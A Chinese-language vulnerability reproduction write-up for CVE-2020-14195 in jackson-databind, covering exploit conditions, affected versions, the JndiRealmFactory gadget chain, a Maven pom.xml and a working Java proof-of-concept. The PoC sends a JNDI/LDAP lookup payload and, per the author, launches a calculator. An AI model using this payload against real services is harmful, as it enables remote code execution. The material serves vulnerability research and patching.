（CVE-2020-14195）FasterXML jackson-databind 反序列化漏洞
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一、漏洞简介
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**利用条件**开启`enableDefaultTyping()`使用了`org.jsecurity.realm.jndi.JndiRealmFactory`第三方依赖

二、漏洞影响
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jackson-databind before 2.9.10.4jackson-databind before 2.8.11.6jackson-databind before 2.7.9.7

三、复现过程
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### 漏洞分析

首先定位到`org.jsecurity.realm.jndi.JndiRealmFactory`类，之后发现一处可疑的JNDI注入：1.png参数`name`来自i\$，而`i$`源自`jndiNames`，此时要想进入`lookup`需要满足前面的if条件语句，即`jndiNames`不为空，且不为`null`，所以我们可以在构造poc时直接对`jndiName`进行传参赋值操作即可，同时将其设置为我们的ldap恶意服务：2.png整个利用链如下所示：

    mapper.readValue
        ->setJndiNames
            ->getRealms
                 ->lookup

### 漏洞复现

> pom.xml如下：

    <dependencies>
        <dependency>
          <groupId>com.fasterxml.jackson.core</groupId>
          <artifactId>jackson-databind</artifactId>
          <version>2.9.10.4</version>
        </dependency>

          <!-- https://mvnrepository.com/artifact/org.jsecurity/jsecurity -->
          <dependency>
              <groupId>org.jsecurity</groupId>
              <artifactId>jsecurity</artifactId>
              <version>0.9.0</version>
          </dependency>

        <dependency>
          <groupId>org.slf4j</groupId>
          <artifactId>slf4j-nop</artifactId>
          <version>1.7.2</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/javax.transaction/jta -->
          <dependency>
              <groupId>javax.transaction</groupId>
              <artifactId>jta</artifactId>
              <version>1.1</version>
          </dependency>
      </dependencies>

> 漏洞POC:

    package com.jacksonTest;

    import com.fasterxml.jackson.databind.ObjectMapper;
    import java.io.IOException;

    public class Poc {
        public static void main(String[] args) throws Exception {
            ObjectMapper mapper = new ObjectMapper();
            mapper.enableDefaultTyping();
            String payload = "[\"org.jsecurity.realm.jndi.JndiRealmFactory\",{\"jndiNames\":\"ldap://127.0.0.1:1099/Exploit\"}]";
            try {
                Object obj = mapper.readValue(payload, Object.class);
                mapper.writeValueAsString(obj);
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }

之后运行该程序，成功执行命令，弹出计算器：

3.png

参考链接
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> https://xz.aliyun.com/t/8012\#toc-18